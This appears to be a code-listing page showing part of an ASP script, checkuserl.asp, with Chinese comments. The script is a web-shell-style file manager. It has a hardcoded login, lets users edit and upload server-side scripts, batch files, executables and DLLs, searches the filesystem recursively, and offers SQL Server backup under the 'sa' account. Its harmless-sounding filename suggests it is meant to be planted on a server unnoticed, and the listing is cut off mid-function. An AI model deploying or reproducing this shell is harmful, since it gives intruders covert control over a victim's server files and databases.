📄 checkuserl.asp
字号:
<%Option Explicit%>
<%
Dim File,Folder,StrErr,FileUploadExt(18),i,tmpStr
Dim ParentFolder,FileEditExt(13)
Dim FSO,action,TestFilePath,str1,str2,j,SearchKey,SearchPath
Dim intCount
Const TabStop = " " 'Chr(9)
Const NewLine = "<br>" 'Chr(10)
Const Url = ""
Const SearchCount = 1000
action = Trim(Request.QueryString("action"))
TestFilePath = Trim(Request.QueryString("TestFilePath"))
TestFilePath = Replace(TestFilePath,"/","\")
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
CheckErr(Err)
Const Name = "ppppppppp"
Const Pwd = "ccccccccc"
'Dim FileBackUpFolder
Const FileBackUpFolder = "FileBackUpFolder" '----文件备份的文件夹
Const FileBackUpExt = "bakupext" '----备份文件的扩展名
'-------------允许编辑文件的扩展名
FileEditExt(0) = "asp"
FileEditExt(1) = "inc"
FileEditExt(2) = "js"
FileEditExt(3) = "htm"
FileEditExt(4) = "html"
FileEditExt(5) = "txt"
FileEditExt(6) = "css"
FileEditExt(7) = "php"
FileEditExt(8) = "php3"
FileEditExt(9) = "php4"
FileEditExt(10) = "bat"
FileEditExt(11) = "ini"
FileEditExt(12) = "asa"
FileEditExt(13) = "SYS"
'-------------允许上传文件的扩展名
FileUploadExt(0) = "asp"
FileUploadExt(1) = "inc"
FileUploadExt(2) = "js"
FileUploadExt(3) = "htm"
FileUploadExt(4) = "html"
FileUploadExt(5) = "jpg"
FileUploadExt(6) = "jpeg"
FileUploadExt(7) = "gif"
FileUploadExt(8) = "mdb"
FileUploadExt(9) = "rar"
FileUploadExt(10) = "zip"
FileUploadExt(11) = "txt"
FileUploadExt(12) = "css"
FileUploadExt(13) = "php"
FileUploadExt(14) = "php3"
FileUploadExt(15) = "php4"
FileUploadExt(16) = "ini"
FileUploadExt(17) = "exe"
FileUploadExt(18) = "dll"
StrErr = ""
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 由 Drive.DriveType 返回的常数
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const DriveTypeRemovable = 1
Const DriveTypeFixed = 2
Const DriveTypeNetwork = 3
Const DriveTypeCDROM = 4
Const DriveTypeRAMDisk = 5
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 由 File.Attributes 返回的常数
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const FileAttrNormal = 0
Const FileAttrReadOnly = 1
Const FileAttrHidden = 2
Const FileAttrSystem = 4
Const FileAttrVolume = 8
Const FileAttrDirectory = 16
Const FileAttrArchive = 32
Const FileAttrAlias = 64
Const FileAttrCompressed = 128
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 用来打开文件的常数
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Const OpenFileForReading = 1
Const OpenFileForWriting = 2
Const OpenFileForAppending = 8
Sub CheckStrErr()
If Len(StrErr) > 0 Then
Response.Write("<script>alert('"&StrErr&"');history.back();</script>")
Response.End()
End If
End Sub
Function CheckErr(Err)
If Err <> 0 Then
Response.Write("<script>alert('错误提示："& Server.HTMLEncode(err.Description )&"！';history.back();</script>")
Response.End
End If
End Function
Function UrlEnCode(Path)
UrlEnCode = Replace(Server.URLEncode(Path),"\","/")
End Function
Function CloseFSO
FSO.Close
Set FSO = Nothing
End Function
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：Search()
' 功能说明：文件或文件夹的搜索
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 13:42
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub Search()
Call FileHead()
tmpStr = ""
tmpStr = tmpStr & "<form action='"&Url&"?action=SearchAnswer' name='form1' method='POST'>"
tmpStr = tmpStr & "<table border=0 width=450 cellspacing=1 cellpadding=2 align=center>"
tmpStr = tmpStr & "<th colspan=2>文件或文件夹搜索</th>"
tmpStr = tmpStr & "<tr><td width=50 align=right><strong>条件：</strong></td><td><input type=text value='' name='SearchKey' style=width:350px></td></tr>"
tmpStr = tmpStr & "<tr><td align=right><strong>目录：</strong></td><td><input type=text value='' name='SearchPath' style=width:350px></td></tr>"
tmpStr = tmpStr & "<tr><td align='left' colspan='2'><font color='red'>注意</font>：系统设定只能搜索 <font color='red'>"&SearchCount&"</font> 个文件和文件夹</td></tr>"
tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='搜索'> "
tmpStr = tmpStr & "<input type=reset value='重设'> <input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
tmpStr = tmpStr & "<script>form1.SearchKey.focus();</script>"
Response.Write tmpStr
Response.End
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：SearchAnswer()
' 功能说明：文件或文件夹的搜索结果
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 13:42
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub SearchAnswer()
Call fileHead()
Call FileHeadTitle()
Dim SubFolders,SubFolder
Dim Files,tmpStr1
str1 = ""
str2 = ""
i = 1
j = 1
intCount = 0
SearchKey = Trim(Request.Form("SearchKey"))
SearchPath = Trim(Request.Form("SearchPath"))
If Len(SearchKey) <= 0 Then
StrErr = StrErr & "你的查询条件为空，请重新填写！\n"
End If
If Len(SearchPath) <= 0 Then
StrErr = StrErr & "您的查询路径为空，请重新填写！\n"
End If
If Not FSO.FolderExists(SearchPath) Then
StrErr = StrErr & "您的查询路径不存在，请重新填写！\n"
End If
CheckStrErr()
tmpStr = ""
str1 = str1 & "<table border=0 width=700 cellspacing=1 cellpadding=4 align='center' style='word-break: break-all'>"
str1 = str1 & "<th colspan=6>搜索到的文件夹</th>"
str1 = str1 & "<tr align=center><td><strong>地址</strong></td>"
str1 = str1 & "<td width=60><strong>大小(K)</strong></td>"
str1 = str1 & "<td width=120><strong>创建时间</strong></td>"
str1 = str1 & "<td width=120><strong>修改时间</strong></td>"
str1 = str1 & "<td width=180 align='center'><strong>操作</strong></td></tr>"
str2 = str2 & "<table border=0 width=700 cellspacing=1 cellpadding=4 align='center' style='word-break: break-all'>"
str2 = str2 & "<th colspan=5>搜索到的文件</th>"
str2 = str2 & "<tr align=center><td><strong>文件地址</strong></td>"
str2 = str2 & "<td width=60><strong>大小(K)</strong></td>"
str2 = str2 & "<td width=120><strong>创建时间</strong></td>"
str2 = str2 & "<td width=120><strong>修改时间</strong></td>"
str2 = str2 & "<td width=180 align='center'><strong>操作</strong></td></tr>"
SearchRecursion(SearchPath)
tmpStr1 = ""
If CInt(intCount) > SearchCount Then
tmpStr1 = "<font color='red'>注意</font>：您搜索的文件和文件夹的数量大于 <font color='red'>"&SearchCount&"</font> 个，程序强行终止了。"
End If
tmpStr = tmpStr & "<table border=0 width=700 cellspacing=1 cellpadding=4 align=center>"
tmpStr = tmpStr & "<th colspan=5>文件或文件夹搜索</th>"
tmpStr = tmpStr & "<tr><td width=80 align='right'><strong>条件：</strong></td><td><input type=text value='"&SearchKey&"' name='SearchKey' style=width:350px></td></tr>"
tmpStr = tmpStr & "<tr><td align='right'><strong>目录：</strong></td><td><input type=text value='"&SearchPath&"' name='SearchPath' style=width:350px></td></tr>"
tmpStr = tmpStr & "<tr><td align='right'><strong>搜索结果：</strong></td><td> 文件夹：<font color='red'>"&i-1&"</font> 个 文件：<font color='red'>"&j-1&"</font> 个 "&tmpStr1&"</td></tr></table><br>"
str1 = str1 & "</table><br>"
str2 = str2 & "</table>"
Response.Write tmpStr & Str1 & Str2
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：SearchRecursion()
' 功能说明：遍历所有的文件和文件夹
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 15:44
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub SearchRecursion(Path)
Dim tmpFolder,tmpSubFolders,tmpSubFolder,tmpFiles,tmpFile
On Error Resume Next
Set tmpFolder = FSO.GetFolder(Path)
CheckErr(Err)
Set tmpFiles = tmpFolder.Files
CheckErr(Err)
If tmpFiles.Count <> 0 Then
For Each tmpFile In tmpFiles
If CInt(intCount) > SearchCount Then Exit Sub
intCount = intCount + 1
If Instr(tmpFile.Name, SearchKey) > 0 Then
j = j + 1
str2 = str2 & GenerateFileInformation(tmpFile,j)
End If
Next
End If
Set tmpSubFolders = tmpFolder.SubFolders
CheckErr(Err)
If tmpSubFolders.Count <> 0 Then
For Each tmpSubFolder In tmpSubFolders
If CInt(intCount) > SearchCount Then Exit Sub
intCount = intCount + 1
If Instr(tmpSubFolder.Name, SearchKey) > 0 Then
i = i + 1
str1 = str1 & GenerateFolderInformation(tmpSubFolder,i)
End If
SearchRecursion(tmpSubFolder.Path)
Next
End If
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：LoginCheck()
' 功能说明： 程序登录校验
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub LoginCheck()
Dim LoginName,LoginPwd
LoginName = Trim(Request.Form("LoginName"))
LoginPwd = Trim(Request.Form("LoginPwd"))
If LoginName = Name and LoginPwd = Pwd Then
Session("LoginName") = "ppppppppp"
Response.Write("<script>alert('登录成功，欢迎管理员登录！');")
Response.Write("window.location = '"&Url&"'</script>")
Else
Session("LoginName") = ""
Response.Write("<script>alert('您的用户名或密码不正确，请重新登录！');")
Response.Write("window.location = '"&Url&"'</script>")
End If
Response.End()
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：Out()
' 功能说明：退出程序，清空Session
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub Out()
Session.Abandon()
Response.Redirect(Url)
Response.End()
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：BackUpDataBase()
' 功能说明：数据库的备份 - MS SqlServer
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub BackUpDataBase()
Call FileHead()
tmpStr = ""
tmpStr = tmpStr & "<form action='"&Url&"?action=BackUpDataBaseSave' name='form1' method='POST'>"
tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
tmpStr = tmpStr & "<th colspan=2>数据库备份－MS Server</th>"
tmpStr = tmpStr & "<tr><td width=150 align=right><strong>目标地址：</strong></td><td title='必须为物理地址和不存在的文件名！'><input type=text value='' name='toFile' style=width:300px title='必须为物理地址和不存在的文件名！'></td></tr>"
tmpStr = tmpStr & "<tr><td align=right><strong>数据库服务器名称：</strong></td><td><input type=text value='"&Request.ServerVariables("SERVER_NAME")&"' name='ServerName' style=width:300px></td></tr>"
tmpStr = tmpStr & "<tr><td align=right><strong>登录用户名：</strong></td><td><input type=text value='sa' name='UserID' style=width:300px></td></tr>"
tmpStr = tmpStr & "<tr><td align=right><strong>登录用户密码：</strong></td><td><input type=text value='' name='Pwd' style=width:300px></td></tr>"
tmpStr = tmpStr & "<tr><td align=right><strong>备份的数据库名称：</strong></td><td><input type=text value='' name='DataBase' style=width:300px></td></tr>"
tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='备份'> "
tmpStr = tmpStr & "<input type=reset value='重设'> <input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
tmpStr = tmpStr & "<script>form1.toFile.focus();</script>"
Response.Write tmpStr
Response.End
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：BackUpDataBaseSave()
' 功能说明：数据库备份的保存 - MS SqlServer
' 创建时间：2003-07-31 12:03
' 修改时间：2003-08-03 12:38
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub BackUpDataBaseSave()
On Error Resume Next
Response.Write("<!--METADATA TYPE='TypeLib' NAME='Microsoft SQLDMO Object Library' UUID='{10010001-E260-11CF-AE68-00AA004A34D5}' VERSION='8.0'-->")
Dim objConn,objBackUp,ServerName,UserID,Pwd,DataBase,toFile
ServerName = Trim(Request.Form("ServerName"))
UserID = Trim(Request.Form("UserID"))
Pwd = Trim(Request.Form("Pwd"))
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -